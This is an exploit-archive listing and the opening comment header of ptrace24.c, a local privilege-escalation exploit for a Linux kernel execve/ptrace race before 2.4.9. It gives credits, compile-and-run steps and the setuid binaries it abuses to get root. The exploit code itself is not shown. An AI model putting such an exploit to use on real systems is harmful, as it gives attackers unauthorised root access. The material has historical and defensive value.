ptrace24.c
Posted Oct 30, 2001

Ptrace24.c is a local root exploit for linux kernels prior to 2.4.9. Works on openwall patched kernels. Uses the su, newgrp, or screen +s binaries. Originally by Nergal. Improved by sd.

/*
ptrace24.c [ improved by sd@ircnet ]
~~~~~~~~~~
exploit for execve/ptrace race condition in Linux kernel up to 2.4.9

Originally by Nergal.
Improved by sd.

This sploit doesn't need offset in victim binary
coz were using regs.eip instead (shellcode is non-self modifying)

It should work on openwall-patched kernels (but not on
Openwall GNU Linux as Nergal mentioned in advisory)

Use:
cc ptrace24.c -o ptrace24
./ptrace24

It gives instant root with any of: su, newgrp, screen [if +s]
(assuming if no password requiered) just change #define TARGET.

NOTE: This works only if it's executed on a tty [i.e. interactively].
